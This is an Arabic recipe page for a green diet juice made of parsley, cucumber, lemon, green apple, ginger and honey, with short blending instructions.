العصير الأخضر للرجيم … تمدّ عصائر الخضار الجسم بالمزيد من الطاقة، لذلك يمكنك إدراجه في نظامك الغذائي اليومي، جربيه على طريقة مطبخ سيدتي وتمتعي بالوزن المثالي

تعلمي أيضاً:&nbsp; عصير كيوي بالليمون والنعناع

المقادير

بقدونس :
حزمة

خيار :
1 حبة
(مقطع)

الليمون :
2 حبة
(مقشر)

التفاح الاخضر :
1 حبة

الزنجبيل :
قطعة
(صغيرة الحجم)

العسل :
ملعقة صغيرة
(أو ربع ملعقة صغيرة من نكهة الليمون)

طريقة التحضير

نقوم بوضع كلٍ من: حزمة البقدونس والليمون والتفاح الأخضر والزنجبيل ونكهة الليمون والخيار ووضع كوبٍ من الماء المصفى إلى المزيج.
نمزج المكوّنات جيداً، ثم تقدم.

نسعد دائما بتفاعلكم معنا، يمكنكم ترك تعليق اسفل الموضوع، جميع التعليقات مفتوحة لزوار الموقع بشرط عدم التجاوز في حق احد او ازدراء الاديان.

]]>